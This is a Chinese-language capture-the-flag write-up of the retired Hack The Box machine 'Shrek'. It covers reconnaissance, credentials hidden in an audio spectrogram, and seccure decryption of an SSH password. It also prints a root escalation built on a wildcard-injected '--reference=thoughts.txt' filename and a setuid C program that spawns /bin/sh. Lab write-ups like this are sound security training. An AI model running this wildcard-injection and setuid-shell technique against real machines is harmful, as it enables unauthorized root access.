本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.47

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.47 -o ./shrek-autorecon

最终的扫描结果

HTB-靶机-Shrek_#include

开放了3个端口,先试了下21端口,不能匿名登录,试了几个弱口令都没结果,直接看看80端口应用,看之前先看看跑的目录

HTB-靶机-Shrek_php_02

有上传目录和上传功能,上传图片正常,php文件也正常,但好像是每什么用,像是个假页面,访问uploads

HTB-靶机-Shrek_python_03

所有文件下载下来都是二进制文件和php,asp脚本文件,看到secret_ultimate.php文件里面含有隐藏信息

HTB-靶机-Shrek_#include_04

访问看看

HTB-靶机-Shrek_#include_05

是个mp3文件,下载下来看了下音频文件,播放的时候跳转为频谱模式发现了ftp账号和密码,使用的工具是sonic-visualiser或者是audacity

donkey/d0nk3y1337!

得到了ftp账号和密码直接登录上去,发现很多文件,取消交互模式使用mget下载全部文件

HTB-靶机-Shrek_#include_06

得到下面文件, 其中发现有个key文件, 试试去ssh登录发现需要密钥,而且也不知道登录的用户名是哪个

HTB-靶机-Shrek_#include_07

HTB-靶机-Shrek_php_08

那么多txt文件,使用*通配符查看所有

HTB-靶机-Shrek_#include_09

发现期间一个空格出来的base64编码的内容,如下

HTB-靶机-Shrek_#include_10

在kali下解码

HTB-靶机-Shrek_#include_11

这里是一个密码学技术,先安装对应所需要的模块

sudo apt install libgmp-dev libmpfr-dev libmpc-dev
sudo proxychains pip install seccure

========================================
解密的结果
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import seccure
>>> bmfx = '\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K -gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w'
>>> bmfx
'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xc b\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w'
>>> seccure.decrypt(bmfx, b"PrinceCharming")
'The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec\n'
>>>

得到密码:shr3k1sb3st! 给key文件600权限登录之

HTB-靶机-Shrek_#include_12

这里花了点时间,刚开始使用sudo -l使用vi提权到另一个用户,进行提权,但最终测试是并不能提权,作者制作的靶机故意丢陷阱,经过探测最终发现本靶机提权是通过利用chown命令更改拥有人权限进行提权,详细参考:https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt  具体提权操作如下:

使用命令:find / -type f -newermt 2017-08-20 ! -newermt 2017-08-24 -ls 2>/dev/null

HTB-靶机-Shrek_php_13

大概提权思路就是通过新建--reference=thoughts.txt ,让目标靶机执行周期计划任务的时候更改权限的时候跟随thoughts.txt的权限,因为此文件的权限是root,所以此处可以使用setuid编译成提权文件进行提权,下面是C代码提权文件

#include <stdio.h> 
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
setresuid(0, 0);
printf("ID: %d\n", geteuid());
execve("/bin/sh", NULL, NULL);
}

将上述保存为bmfx.c 然后gcc编译为bmfx文件,给其4755权限,等待几分钟,发现此文件的拥有人已经是root了,然后执行此文件即可提权

touch -- --reference=thoughts.txt

HTB-靶机-Shrek_python_14

目标靶机提权的python代码

#!/usr/bin/python

from subprocess import run, PIPE, DEVNULL

find = run(["/usr/bin/find", "/usr/src", "-perm", "-4000"], stdout=PIPE, stderr=DEVNULL, encoding="utf-8").stdout.split('\n')[:-1]

chown = run(["cd /usr/src; /usr/bin/chown nobody:nobody *"], stderr=DEVNULL, shell=True)

for suid in find:
chmod = run(["/usr/bin/chmod", "+s", suid],stderr=DEVNULL)

迷茫的人生,需要不断努力,才能看清远方模糊的志向!